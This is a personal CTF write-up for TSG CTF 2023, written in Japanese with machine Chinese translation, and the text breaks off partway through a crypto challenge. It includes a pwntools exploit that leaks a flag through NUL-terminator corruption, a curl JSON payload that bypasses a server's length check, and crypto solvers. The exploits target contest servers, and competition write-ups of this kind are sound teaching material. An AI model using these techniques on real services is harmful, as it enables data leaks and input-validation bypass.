TSG CTF 2023 write-up

WriteUp 6个月前 admin
239 0 0

TSG CTF 2023へ、一人チームrotationで参加しました。そのwrite-up記事です。
我们 rotation 以单人团队的形式参加了 TSG CTF 2023。 这是一篇写文章。

コンテスト概要 比赛概况

2023/11/04(土) 16:00 +09:00 – 2023/11/05(日) 16:00 +09:00 の24時間開催でした。他ルールはRULESページから引用します:
2023/11/04(周六) 16:00 +09:00 – 2023/11/05(周日) 16:00 +09:00 会议持续了24小时。 其他规则取自“规则”页面:

RULES
Don’t prevent other teams from having fun.
Don’t share flags or hints, or you’ll be banned.
Don’t attack (e.g. DoS) our infrastructure, or you’ll be banned.
Don’t do automated scanning. It will be considered to be DoS.
The flag format is TSGCTF{blahblah}, unless otherwise specified.
The prize will be paid with PayPal. If it doesn't suit you, we can pay that in BitCoin at an arbitrary exchange rate we determine.
The teams must publish the writeups of the solved problems in CTFTime to get their prizes.
The number of members in a team is unlimited.
People who belong to TSG are not allowed to participate in TSG CTF.

SUPPORT
If you have issue with TSG CTF, please contact us by joining official Discord server, and clicking "Create Ticket" button in the #ask-admin channel.

ABOUT “BEGINNER” CHALLENGES
If you are unfamiliar with CTF, we highly recommend you to first take a look at the challenges with "beginner" tag. They will be released at the same time as the CTF launch.

In TSG CTF, Beginner's tasks are not "beginner-level challenges." We define a beginner's task as a challenge that does not require any experience or knowledge specific to CTF, but can be solved with knowledge that even a beginner has. Please don't be discouraged if you can't solve a "beginner's task". At times it can be hard!

RELEASE SCHEDULE
Disclaimer: This schedule is tentative. We will make the best effort to deliver these challenges as planned. However any changes are expected anytime.
(省略)

TSGCTFの特徴として、「BEGINNER」問題であってもwarmup問題とは限りません。また、日本時間16時(=開始直後)、18時、20時、22時にそれぞれ問題が公開されました。
TSGCTF的一个特点是,即使它是一个“初学者”问题,也不一定是热身问题。 此外,问题在日本时间16点(=开始后立即)、18点、20点和22点发布。

結果 结果

正の得点を得ている560チーム中、1042ptsで26位でした。warmup/cooldown含めて10問解けました。
在 560 支得分为正的球队中,他们以 1042 分排名第 26 位。 我解决了 10 个问题,包括热身/冷却。

TSG CTF 2023 write-up
順位と得点 排名和比分

TSG CTF 2023 write-up
チェック印: 解けた問題 复选标记:问题已解决

環境 环境

主にWindowsのWSL2(Ubuntu 22.04)を使って取り組みました。
我主要在 Windows 上使用 WSL2 (Ubuntu 22.04) 来研究它。

Windows 窗户

c:\>ver

Microsoft Windows [Version 10.0.19045.3636]

c:\>wsl -l -v
  NAME                   STATE           VERSION
* Ubuntu-22.04           Running         2
  kali-linux             Stopped         2
  docker-desktop-data    Running         2
  docker-desktop         Stopped         2

c:\>

他ソフト 其他软件

  • IDA Version 8.3.230608 Windows x64 (64-bit address size) (なお、Free版IDA version 8.2からはx86バイナリもクラウドベースの逆コンパイルができます。version 7頃から引き続き、x64バイナリも同様に逆コンパイルができます。)
    IDA 版本 8.3.230608 Windows x64(64 位地址大小)(从 IDA 版本 8.2 免费开始,x86 二进制文件也可以基于云进行反编译。 从版本 7 开始,也可以反编译 x64 二进制文件。 )
  • CFF Explorer VIII @ 2012 Daniel Pistelli.
  • WinDbg Debugger, client version: 1.2308.2002.0, Debugger engine version: 10.0.25921.1001

WSL2(Ubuntu 22.04)

$ cat /proc/version
Linux version 5.15.90.1-microsoft-standard-WSL2 (oe-user@oe-host) (x86_64-msft-linux-gcc (GCC) 9.3.0, GNU ld (GNU Binutils) 2.34.0.20200220) #1 SMP Fri Jan 27 02:56:13 UTC 2023
$ cat /etc/os-release
PRETTY_NAME="Ubuntu 22.04.3 LTS"
NAME="Ubuntu"
VERSION_ID="22.04"
VERSION="22.04.3 LTS (Jammy Jellyfish)"
VERSION_CODENAME=jammy
ID=ubuntu
ID_LIKE=debian
HOME_URL="https://www.ubuntu.com/"
SUPPORT_URL="https://help.ubuntu.com/"
BUG_REPORT_URL="https://bugs.launchpad.net/ubuntu/"
PRIVACY_POLICY_URL="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy"
UBUNTU_CODENAME=jammy
$ python3 --version
Python 3.10.12
$ python3 -m pip show pip | grep Version
Version: 22.0.2
$ python3 -m pip show pwntools | grep Version
Version: 4.11.0
$ python3 -m pip show z3-solver | grep Version
Version: 4.8.16.0
$ gdb --version
GNU gdb (Ubuntu 12.1-0ubuntu1~22.04) 12.1
Copyright (C) 2022 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
$ cat ~/peda/README | grep -e 'Version: ' -e 'Release: '
Version: 1.0
Release: special public release, Black Hat USA 2012
$ strace --version
strace -- version 5.16
Copyright (c) 1991-2022 The strace developers <https://strace.io>.
This is free software; see the source for copying conditions.  There is NO
warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.

Optional features enabled: stack-trace=libunwind stack-demangle m32-mpers mx32-mpers
$ curl --version
curl 7.81.0 (x86_64-pc-linux-gnu) libcurl/7.81.0 OpenSSL/3.0.2 zlib/1.2.11 brotli/1.0.9 zstd/1.4.8 libidn2/2.3.2 libpsl/0.21.0 (+libidn2/2.3.2) libssh/0.9.6/openssl/zlib nghttp2/1.43.0 librtmp/2.3 OpenLDAP/2.5.16
Release-Date: 2022-01-05
Protocols: dict file ftp ftps gopher gophers http https imap imaps ldap ldaps mqtt pop3 pop3s rtmp rtsp scp sftp smb smbs smtp smtps telnet tftp
Features: alt-svc AsynchDNS brotli GSS-API HSTS HTTP2 HTTPS-proxy IDN IPv6 Kerberos Largefile libz NTLM NTLM_WB PSL SPNEGO SSL TLS-SRP UnixSockets zstd
$

解けた問題 已解决的问题

本CTFでは、問題説明文が日本語と英語で提供されました。本ブログでは日本語版の問題文を掲載します。
在本CTF中,问题描述以日语和英语提供。 在这篇博客中,我们将发布问题文本的日文版本。

[Warmup] Sanity Check (529 team solved, 100 points)

TSG CTF のDiscordサーバーにログインして↓の場所に書いてあるフラグを送信してください。
(ここにDiscordチャンネルのスクリーンショット)

CTF開始15分前に、以下の書き込みがありました:
在 CTF 开始前 15 分钟,写了以下内容:

mikit — Today at 3:45 PM
@everyone Welcome to TSG CTF Discord!

This Discord server is not a place to collaborate with other people to solve challenges. Do not put any hint for challenge or solution in any message. Be fair!
Be polite and respect others.
glhf!

Transparent Release Policy

This time we disclosed the release time of each challenges before the contest. It will be important for you to check it out. See here:
https://score.ctf.tsg.ne.jp/rules

Support

If you have issue with TSG CTF, please contact us by clicking "Create Ticket" button in the #⁠ask-admin channel.

Beginner's Tasks

As you can see there are challenges tagged with beginner, which is truly designed for beginners! While they may not be trivial, they require less CTF expertise. Try harder and get the flag!

Sanity Check

Here is your sanity 🙂

TSGCTF{G3n3r@t1v3_@I_4lways_c0mes_up_w1th_b3tt3r_punchl1n3s_th@n_m3!}

フラグを入手できました: TSGCTF{G3n3r@t1v3_@I_4lways_c0mes_up_w1th_b3tt3r_punchl1n3s_th@n_m3!} 我能够得到标志: TSGCTF{G3n3r@t1v3_@I_4lways_c0mes_up_w1th_b3tt3r_punchl1n3s_th@n_m3!}

本ブログ記事を書くときに、初めてleet内容を読解しました。Generative AI always comes up with better punchlines than meのようです、AIはジョークもお上手なんでしょうか(あまり使ってないので分からない)。
当我写这篇博文时,我第一次阅读并理解了 LEET。 Generative AI always comes up with better punchlines than me 我想知道人工智能是否擅长开玩笑(我不知道,因为我不怎么使用它)。

[Pwn, beginner, easy] converter (78 team solved, 112 points)

# -*- speaking: utf-8 -*-

nc 34.146.195.242 40002

初心者向けヒント:

まず、添付ファイルをダウンロードしてソースコードを見てください。
添付ファイル内のflag.txtは偽物です!問題サーバーにあるものとは異なります。
あなたがすべきことは、フラグを推測すること...ではなくフラグをリークさせることです。つまりただクイズに答えるのではなく何か特別なことをしてください。
怪しい関数の仕様を調べてみてください。

配布ファイルとして、問題本体のchallと、元ソースのmain.c等がありました:
有分发文件,例如问题正文 chall 和源源 main.c :

$ file *
Makefile:  makefile script, ASCII text
chall:     ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=bc06581d875959a12c1a58c826ac31c0e4bf0cbe, for GNU/Linux 3.2.0, not stripped
flag.txt:  ASCII text, with no line terminators
main.c:    C source, Unicode text, UTF-8 text
$

配布ファイルを調べていると、以下の処理に目が止まりました:
在检查分发文件时,以下过程引起了我的注意:

(略)
#define MAX_FLAG_CHARS 31

char utf32_hexstr[3][MAX_FLAG_CHARS * 8 + 1];
char utf8_bin[MAX_FLAG_CHARS * 4 + 1];
char flag_buffer[MAX_FLAG_CHARS + 1];
int main() {
    (略)
    char* locale = setlocale(LC_CTYPE, "C.utf8");
    printf("Note: My locale is %s\n", locale);
    (略)
    for (int q = 0; q < 3; q++) {
        char32_t wc = 0;
        mbstate_t ps = {0};
        char* utf8_ptr = utf8_bin;
        for (int i=0; utf32_hexstr[q] != 0; i++) {
            char c = utf32_hexstr[q][i];
            if (i % 8 == 0) wc = 0;

            if (c >= '0' && c <= '9') wc += c - '0';
            else if (c >= 'a' && c <='f') wc += c - 'a' + 10;
            else if (c >= 'A' && c <='F') wc += c - 'A' + 10;
            else break;

            if (i % 8 == 7) {
                utf8_ptr += c32rtomb(utf8_ptr, wc, &ps);
            } else {
                wc *= 16;
            }
        }

        printf("Q%d: ", q+1);
        if (strcmp(utf8_bin, ans_strings[q]) == 0) {
            correct++;
            printf("Correct! ");
        } else {
            printf("Wrong :( ");
        }
        printf("Your input: %s\n", utf8_bin);
    }
    (略)
}

問題文のヒントにある通り、見慣れない関数c32rtombがあります。cppreference.comで調べると、char32_tからcharへ変換する関数とのことです。本問題ではロケールをUTF-8へ設定しているため、UTF-32からUTF-8へ変換する挙動になります。戻り値は「変換に成功した場合は変換結果のバイト数、変換に失敗した場合は-1」とのことです。
正如问题陈述中的提示中提到的, c32rtomb 有一个不熟悉的功能。 如果在 cppreference.com 中查找它,它是一个 char32_t 从 char 转换为 的函数。 在此问题中,区域设置设置为 UTF-8,因此行为是从 UTF-32 转换为 UTF-8。 返回值为“转换成功时转换结果中的字节数,转换失败时返回-1”。

challバイナリをIDAで読み込んでグローバル変数のメモリレイアウトを調べました。グローバル変数のメモリレイアウトはmain.cの記述順通りあること、パディングがあることが分かりました:
chall 我使用 IDA 读取二进制文件并检查了全局变量的内存布局。 事实证明,全局变量的内存布局是按照描述它们的顺序 main.c 排列的,并且有填充:

.bss:0000000000004040                                                      public utf32_hexstr
.bss:0000000000004040                                      ; char utf32_hexstr[3][249]
.bss:0000000000004040 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ??     utf32_hexstr    db 300h dup(?)          ; DATA XREF: main+164↑o
.bss:0000000000004040 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ??…                                            ; main+1F6↑o
.bss:0000000000004340                                                      public utf8_bin
.bss:0000000000004340                                      ; char utf8_bin[125]
.bss:0000000000004340 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ??     utf8_bin        db 80h dup(?)           ; DATA XREF: main+1C3↑o
.bss:0000000000004340 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ??…                                            ; main+2D0↑o ...
.bss:00000000000043C0                                                      public flag_buffer
.bss:00000000000043C0 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ??     flag_buffer     db    ?,   ?,   ?,   ?,   ?,   ?,   ?,   ?,   ?,   ?,   ?
.bss:00000000000043C0                                                                              ; DATA XREF: main+52↑o
.bss:00000000000043C0                                                                              ; main+AB↑o
.bss:00000000000043CB ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ??                     db    ?,   ?,   ?,   ?,   ?,   ?,   ?,   ?,   ?,   ?,   ?
.bss:00000000000043D6 ?? ?? ?? ?? ?? ?? ?? ?? ?? ??                        db    ?,   ?,   ?,   ?,   ?,   ?,   ?,   ?,   ?,   ?

最初は「1つのUTF-32 code pointを4バイトよりも大きくできれば、utf8_binのNUL終端文字を非NULへ改ざんすればflag_bufferを漏洩できそう」と考えました。しかしhttps://stackoverflow.com/questions/9533258/what-is-the-maximum-number-of-bytes-for-a-utf-8-encoded-characterによると、UTF-8への変換は最大4バイトとのことです
第一个是“如果一个 UTF-32 码位可以大于 4 个字节,那么 utf8_bin 如果您 flag_buffer 将 NUL 终止符篡改为非 NUL 我以为有可能泄露它。 但是,根据 https://stackoverflow.com/questions/9533258/what-is-the-maximum-number-of-bytes-for-a-utf-8-encoded-character,转换为 UTF-8 最多为 4 个字节

そういうわけで以下の方針を考えました: 这就是为什么我们提出了以下政策:

  1. 3回分のHEX文字列入力を行った後にHEX文字列のパース処理を行うことと、c32rtomb関数は失敗時に-1が返ることを利用して、3回の入力のうち最初2回の入力処理時にutf32_hexstr[2]のNUL終端文字を改ざんする。
    利用十六进制字符串在三个十六进制字符串输入后解析并且 c32rtomb 函数在失败时返回 -1 这一事实,在三个输入的前两个输入过程中伪造了 的 NUL 终止符 utf32_hexstr[2] 。
  2. ↑の改ざんにより、3回目の入力処理時で扱わせる文字数を増加させて、utf8_binのNUL終端文字を改ざんする
    通过伪造 ↑,增加了第三个输入过程中要处理 utf8_bin 的字符数,并伪造了 的 NUL 终止符
  3. ↑の改ざんにより、HEX文字列パース処理後のutf8_bin内容表示時にflag_buffer内容も含めされる。
    由于 ↑ 的伪造,在十六进制字符串解析过程后显示内容时, flag_buffer 内容也会被包括在 utf8_bin 内。

上記の方針で実際に解けましたが、細かいオフセット調整などで山程バグらせました。最終的にgdbでグローバル変数の内容を確認しつつ調整していました。ソルバーです:
我实际上能够用上述策略解决它,但是我通过小的偏移调整做了很多错误。 最后,我在检查 gdb 中全局变量的内容时对其进行了调整。 求解器为:

#!/usr/bin/env python3
import pwn

BIN_PATH = "./chall"
pwn.context.terminal = ['wt.exe', "--window", "gdb_debug", "wsl"]
pwn.context.binary = BIN_PATH
# pwn.context.log_level = "debug"

def pad_payload(payload):
    if len(payload) > 248: raise Exception(f"{len(payload) = }")
    if len(payload) < 248:
        payload += b"\n"
    return payload

def solve(io):
    invalid_codepoint_hex = b"FFFFFFFF" # c32rtomb関数が-1を返すもの
    long_in_utf8_codepoint_hex = b"0001f680" # ロケットの絵文字、utf-8で4バイト
    digit_0_codepoint_hex = b"00000030" # ord("0")
    digit_for_rocket_hex = "".join(map(lambda b: f"{b:08x}",long_in_utf8_codepoint_hex)).encode()
    print(f"{digit_for_rocket_hex = }")

    io.sendafter(
        b"Q1: What is the code of the rocket emoji in utf32be? (hexstring)>",
        pad_payload((invalid_codepoint_hex * 22) + (digit_for_rocket_hex * 1 + digit_0_codepoint_hex * 1)))

    io.sendafter(
        b"Q2: What is the code of the fox emoji in utf32be? (hexstring)>",
        pad_payload((invalid_codepoint_hex * 13) + (digit_for_rocket_hex * 1 + digit_0_codepoint_hex * 5)))

    io.sendafter(
        b"Q3: Guess the flag in utf32be. (hexstring)>",
        pad_payload(long_in_utf8_codepoint_hex * 31))
    print(io.recvall().decode())


# with pwn.process(BIN_PATH) as io: solve(io)
with pwn.remote("34.146.195.242", 40002) as io: solve(io)
# COMMANDS = """
# b *(main+0x32A)
# continue
# """
# with pwn.gdb.debug(BIN_PATH, COMMANDS) as io: solve(io)

実行しました: 执行:

$ ./solve.py
[!] Could not populate PLT: module 'unicorn' has no attribute 'UC_ARCH_RISCV'
[*] '/mnt/d/Documents/work/ctf/TSG_CTF_2023/converter/chall'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[+] Opening connection to 34.146.195.242 on port 40002: Done
digit_for_rocket_hex = b'0000003000000030000000300000003100000066000000360000003800000030'
[+] Receiving all data: Done (290B)
[*] Closed connection to 34.146.195.242 port 40002

Result announcement 🥳🥳
Q1: Wrong :( Your input:
Q2: Wrong :( Your input:
Q3: Wrong :( Your input: 🚀🚀🚀🚀🚀🚀🚀🚀🚀🚀🚀🚀🚀🚀🚀🚀🚀🚀🚀🚀🚀🚀🚀🚀🚀🚀🚀🚀🚀🚀🚀🚀ὨCTF{NoEmojiHereThough:cry:}
Score 0/3. Try harder!

$

フラグの一部まで破壊してしまっていますが、先頭箇所であり固定であるため復元できます。フラグを入手できました: TSGCTF{NoEmojiHereThough:cry:}
甚至旗帜的一部分已被摧毁,但它可以恢复,因为它是第一部分并已修复。 我能够得到标志: TSGCTF{NoEmojiHereThough:cry:}

[Pwn, beginner, easy] converter2 (26 team solved, 91 points)
[Pwn,初学者,简单] 转换器2(26个团队解决,91分)

Now I'm calling from the Alps.

nc 34.146.195.242 40004

初心者向けヒント:

まず、添付ファイルをダウンロードしてソースコードを見てください。
添付ファイル内のflag.txtは偽物です!問題サーバーにあるものとは異なります。
あなたがすべきことは、フラグを推測すること...ではなくフラグをリークさせることです。つまりただクイズに答えるのではなく何か特別なことをしてください。
怪しい関数の仕様を調べてみてください。

converter問題の続編的扱いであるためか、本問題はconverter問題よりも正解チーム数が少ないにもかかわらず、得点は低く設定されています。
converter 也许是因为它被视为问题的续集,因此该问题的分数低于该 converter 问题,即使正确答案团队的数量较少。

配布ファイルとして、問題本体のchallと、元ソースのsrc.cがありました:
有两个 src.c 分发文件:问题正文 chall 和原始来源:

$ file *
Dockerfile: ASCII text
chall:      ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib/ld-musl-x86_64.so.1, with debug_info, not stripped
flag.txt:   ASCII text, with no line terminators
main.c:     C source, Unicode text, UTF-8 text
$ pwn checksec chall
[!] Could not populate PLT: module 'unicorn' has no attribute 'UC_ARCH_RISCV'
[*] '/mnt/d/Documents/work/ctf/TSG_CTF_2023/converter2/chall'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
$ diff main.c ../converter/main.c
$ diff chall ../converter/chall
Binary files chall and ../converter/chall differ
$

diffコマンド結果の通り、main.cconverter問題と全く同じです。一方でバイナリは何か異なるようです。実際、手元環境では実行すらできませんでした:
diff main.c 从命令的结果可以看出,与 converter 问题完全相同。 另一方面,二进制似乎是不同的东西。 事实上,我甚至无法在我的环境中运行它:

$ ls -AlF chall
-rwxrwxrwx 1 tan tan 18800 Nov  4 16:00 chall*
$ ./chall
sh: 1: ./chall: not found
$ strace ./chall
execve("./chall", ["./chall"], 0x7fff17c4cbb0 /* 24 vars */) = -1 ENOENT (No such file or directory)
strace: exec: No such file or directory
+++ exited with 1 +++
$ pwn checksec chall
[!] Could not populate PLT: module 'unicorn' has no attribute 'UC_ARCH_RISCV'
[*] '/mnt/d/Documents/work/ctf/TSG_CTF_2023/converter2/chall'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
$

とはいえchallバイナリをIDAで開いて確認すると、グローバル変数のレイアウトはconverter問題のものと同一でした。そのためconverter問題のソルバーの接続先だけ変えて実行してみました:
但是,当我在 IDA 中打开 chall 二进制文件并检查它时,全局变量的布局与 converter 所讨论的布局相同。 因此,我试图通过仅更改相关 converter 求解器的连接目标来运行它:

$ ./solve.py
[!] Could not populate PLT: module 'unicorn' has no attribute 'UC_ARCH_RISCV'
[*] '/mnt/d/Documents/work/ctf/TSG_CTF_2023/converter2/chall'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[+] Opening connection to 34.146.195.242 on port 40004: Done
digit_for_rocket_hex = b'0000003000000030000000300000003100000066000000360000003800000030'
[+] Receiving all data: Done (290B)
[*] Closed connection to 34.146.195.242 port 40004

Result announcement 🥳🥳
Q1: Wrong :( Your input:
Q2: Wrong :( Your input:
Q3: Wrong :( Your input: 🚀🚀🚀🚀🚀🚀🚀🚀🚀🚀🚀🚀🚀🚀🚀🚀🚀🚀🚀🚀🚀🚀🚀🚀🚀🚀🚀🚀🚀🚀🚀🚀ὨCTF{IdidntknowUTF8isupto6!}
Score 0/3. Try harder!

$

同様にフラグを入手できました: TSGCTF{IdidntknowUTF8isupto6!}
我也能够得到标志: TSGCTF{IdidntknowUTF8isupto6!}

本CTF終了後のDiscordでの作問者様の書き込みによると、本converter2側はAlpine Linux環境用バイナリであり、またconverter側のglibcではc32rtomb関数が最大で6を返すので別解があったとのことです。glibc側は、UTF-32ではなくUCS-4だった頃の仕様のままなんでしょうか……?
根据提问者在本届 CTF 结束后在 Discord 上的帖子,这边是 Alpine Linux 环境的二进制文件,这边 converter2 的 c32rtomb glibc converter 函数最多返回 6,所以有不同的解决方案。 glibc 端是否与 UCS-4 而不是 UTF-32 时相同……?

[Web, beginner, easy] Upside-down cake (127 team solved, 100 points)

設定が正しいか、413回チェックしました。

http://34.84.176.251:12349

初心者向けヒント
とりあえず、上のリンクを開いて、適当に操作してみてください。この問題は「非常に長い回文」をサーバーに送ることでフラグが手に入ると主張していますが、話はそんなに単純ではないことがすぐに分かります。
次に、添付したソースコードを読んでください。main.mjs や nginx.conf といったファイルにこのウェブサイトの重要なロジックが記述されています。flag という変数にフラグが保存されているので、この値をリークすることが目的となります。
これらのヒントを元に、「非常に長い回文」をサーバーに送るのではなく、何かしらのバグを突くことによってフラグを手に入れる方法を考えましょう。Web技術、特にJavaScriptについての知識が必要になるかもしれないので、必要に応じてMDNなどのドキュメントを参照してください。
なお、この問題を解くのに大量のアクセスをする必要はありません。ルールに書かれている通り、DoS まがいの大量アクセスはご遠慮ください。

配布ファイルとして、サーバー側プログラムの各種ファイルがありました:
作为分发文件,服务器端程序有各种文件:

$ file *
compose.yaml:      ASCII text
index.html:        HTML document, ASCII text
main.mjs:          Java source, ASCII text
nginx.conf:        ASCII text
package-lock.json: JSON data
package.json:      JSON data
$

main.mjs側は以下の内容で、入力内容の下限と、回文チェックをしているように見えました:
main.mjs 这边似乎在做回文检查,内容如下,输入内容的下限:

import {serve} from '@hono/node-server';
import {serveStatic} from '@hono/node-server/serve-static';
import {Hono} from 'hono';

const flag = process.env.FLAG ?? 'DUMMY{DUMMY}';

const validatePalindrome = (string) => {
    if (string.length < 1000) {
        return 'too short';
    }

    for (const i of Array(string.length).keys()) {
        const original = string[i];
        const reverse = string[string.length - i - 1];

        if (original !== reverse || typeof original !== 'string') {
            return 'not palindrome';
        }
    }

    return null;
}

const app = new Hono();

app.get('/', serveStatic({root: '.'}));

app.post('/', async (c) => {
    const {palindrome} = await c.req.json();
    const error = validatePalindrome(palindrome);
    if (error) {
        c.status(400);
        return c.text(error);
    }
    return c.text(`I love you! Flag is ${flag}`);
});

app.port = 12349;

serve(app);

一方でnginx.confは以下の内容で、入力内容を最大100バイトに制限していました:
nginx.conf 另一方面,它将输入限制为最大 100 字节,内容如下:

events {
    worker_connections 1024;
}

http {
    server {
        listen 0.0.0.0:12349;
        client_max_body_size 100;
        location / {
            proxy_pass http://app:12349;
            proxy_read_timeout 5s;
        }
    }
}

nginx側の制約により、1000文字の回文を与えても413 Request Entity Too Largeがnginxから返されてしまいます。色々調べたり試行錯誤した結果、以下の方針が立ちました:
由于nginx方面的限制,即使你给出了1000个字符的回文, 413 Request Entity Too Large nginx也会返回。 经过大量的研究和反复试验,我们提出了以下政策:

  1. 文字列ではなくオブジェクト型を送信する。これにより、100文字以内の入力で(string.length < 1000)を回避できる。
    发送对象类型而不是字符串。 如果输入 (string.length < 1000) 最多 100 个字符,则可以避免这种情况。
  2. (original !== reverse || typeof original !== 'string')の回文判定は別途頑張って回避する。
    (original !== reverse || typeof original !== 'string') 通过单独尽力而为可以避免回文判断。

ブラウザ開発者コンソールのREPLで色々試して分かったことです:
以下是我在尝试使用浏览器开发人员控制台 REPL 后发现的内容:

  1. "1000" < 1000はfalse
  2. Array("1000").keys()[0]相当  Array("1000").keys() 相当于 [0]
  3. "1000"-0-1999

分かったことを使って、すべての制約を回避するペイロードを送信しました:
使用我发现的内容,我发送了一个绕过所有约束的有效负载:

$ curl 'http://34.84.176.251:12349/' -H 'Content-Type: application/json' --data-raw '{"palindrome":{"length":"1000","0":"0","999":"0"}}'
I love you! Flag is TSGCTF{pilchards_are_gazing_stars_which_are_very_far_away}
$

フラグを入手できました: TSGCTF{pilchards_are_gazing_stars_which_are_very_far_away} 我能够得到标志: TSGCTF{pilchards_are_gazing_stars_which_are_very_far_away}

本ブログ記事を書くときに、初めてpilchardsの意味を調べました。イワシのことらしいです。問題タイトルと合わせて、Stargazy pieのことのようです。
当我写这篇博文时,我第一次查了一下它 pilchards 的含义。 似乎是沙丁鱼。 除了本期的标题,它似乎是关于 Stargazy 馅饼的。

[Crypto, easy] Unique Flag (82 team solved, 109 points)

フラグの内容はユニークにしたほうがいい問題になるって聞きました。

配布ファイルとして、問題本体のencrypt.pyと、その出力のoutput.txtがありました:
作为分发文件, output.txt 存在一个问题正文 encrypt.py 及其输出:

$ file *
encrypt.py:     Python script, ASCII text executable
output.txt:     ASCII text, with very long lines (19805)
$

encrypt.pyは以下の内容です:  encrypt.py 包含以下内容:

from Crypto.Util.number import getPrime

p = getPrime(1024)
q = getPrime(1024)
N = p * q
e = 0x10001

with open('flag.txt', 'rb') as f:
    flag = f.read()

assert len(flag) == 33

flag_header = flag[:7] # TSGCTF{
flag_content = flag[7:-1]
flag_footer = flag[-1:] # }

assert len(flag_content) == len({byte for byte in flag_content}) # flag_content is unique

c_list = [pow(byte, e, N) for byte in flag]
clues = [x * y % N for x, y in zip(c_list[:-1], c_list[1:])]
clues.sort()

print(f'N = {N}')
print(f'e = {e}')
print(f'clues = {clues}')

フラグに使用される可能性のある任意の2文字からc_listを再構築して、先頭から再構築すれば解けそうと考えました。しかし実際に試すと、特定の文字から別の文字への遷移パターンがあることが想像以上にありました。制約を足していくのも面倒だったので、assertにある通りフラグは33文字ですから33回遷移できるパターンを探索しようと考えました。書いたソルバーです:
c_list 我认为可以通过从可用于标志的任何两个字符重建并从头开始重建来解决它。 然而,当我真正尝试时,我发现从一个角色到另一个角色的过渡模式比我想象的要多。 添加约束很麻烦,所以我想到搜索一个可以转换 33 次的模式,因为标志是 33 个字符,如 assert 中所述。 这是我写的求解器:

#!/usr/bin/env python3

import ast
import sys

with open("output.txt") as f:
    N = ast.literal_eval(f.readline().split(" = ")[1])
    e = ast.literal_eval(f.readline().split(" = ")[1])
    clues = ast.literal_eval(f.readline().split(" = ")[1])

candidates = range(0x20, 0x7f)
c_list = [(pow(byte, e, N), byte) for byte in candidates]

current = ord("T")
flag_content = []
for (x, v1) in c_list:
    for (y, v2) in c_list:
        if v1 == v2:
            continue
        clue = x * y % N
        if clue in clues:
            print(f"{chr(v1)} -> {chr(v2)}")
            flag_content.append((v1, v2))

def dfs(used, current, depth)->str:
    # print(f"{depth=}, {chr(current) = }")
    if depth == 33 and current == ord("}"):
        return chr(current)
    for (v1, v2) in flag_content:
        if v1 != current: continue
        if v2 in used: continue

        used.add(v2)
        result = dfs(used, v2, depth+1)
        if result is not None:
            return chr(current) + result
        used.remove(v2)
    return None

used = set()
known = "TSGCTF{" # 先頭7文字を固定しないと「TCGSTsI,KO{FMHi5A_un1qUe-flag?XD}」などが出てきてしまいました
for k in known:
    used.add(k)
flag = known[:-1] + dfs(set(), ord(known[-1]), len(known))
print(flag)

実行しました: 执行:

$ ./solve.py
! -> d
, -> I
, -> K
, -> ~
- -> e
- -> f
0 -> ~
1 -> n
1 -> q
1 -> x
2 -> B
3 -> Z
5 -> A
5 -> i
6 -> U
6 -> p
7 -> <
7 -> b
8 -> c
8 -> i
8 -> l
< -> 7
< -> b
< -> ~
? -> X
? -> `
? -> g
? -> x
A -> 5
A -> _
B -> 2
B -> T
C -> G
C -> T
D -> X
D -> }
F -> M
F -> T
F -> l
F -> {
G -> C
G -> S
H -> M
H -> T
H -> i
I -> ,
I -> s
K -> ,
K -> O
M -> F
M -> H
O -> K
O -> {
R -> i
S -> G
S -> T
T -> B
T -> C
T -> F
T -> H
T -> S
T -> Z
T -> s
U -> 6
U -> d
U -> e
U -> q
X -> ?
X -> D
Z -> 3
Z -> T
\ -> i
_ -> A
_ -> u
` -> ?
a -> g
a -> l
b -> 7
b -> <
c -> 8
d -> !
d -> U
e -> -
e -> U
f -> -
f -> l
g -> ?
g -> a
i -> 5
i -> 8
i -> H
i -> R
i -> \
l -> 8
l -> F
l -> a
l -> f
n -> 1
n -> u
p -> 6
q -> 1
q -> U
s -> I
s -> T
u -> _
u -> n
x -> 1
x -> ?
{ -> F
{ -> O
} -> D
~ -> ,
~ -> 0
~ -> <
TSGCTF{OK,IsTHi5A_un1qUe-flag?XD}
$

フラグを入手できました: TSGCTF{OK,IsTHi5A_un1qUe-flag?XD} 我能够得到标志: TSGCTF{OK,IsTHi5A_un1qUe-flag?XD}

[Crypto, easy] Streamer (60 team solved, 125 points)

これは私のシンプルなストリーム暗号です。突破できますか?

配布ファイルとして、問題本体のencrypt.pyと、その出力のoutput.txt、加えて内部管理用らしいREADME.mdがありました:
作为分发文件,有一个问题正文 encrypt.py 及其输出 output.txt , README.md 以及一个内部管理文件:

$ file *
encrypt.py:      ASCII text
output.py:       Unicode text, UTF-8 (with BOM) text, with very long lines (1405)
README.md:       Unicode text, UTF-8 text, with no line terminators
$ cat README.md
解答者に配布するソースコードなどのファイルをここに置く
$

encrypt.pyは以下の内容でした:  encrypt.py 包含以下内容:

import secrets
import hashlib
import base64
import re

pattern = re.compile("[a-zA-Z0-9!-/:-?\[-`|~]+")
flag_content = b"@@REDUCTED@@"
assert pattern.fullmatch(flag_content.decode())

flag_hash = hashlib.md5(flag_content).digest()
flag = b"TSGCTF{"+flag_content+b"@"+base64.b64encode(flag_hash)+b"}"

key_stream = list(secrets.token_bytes(16))
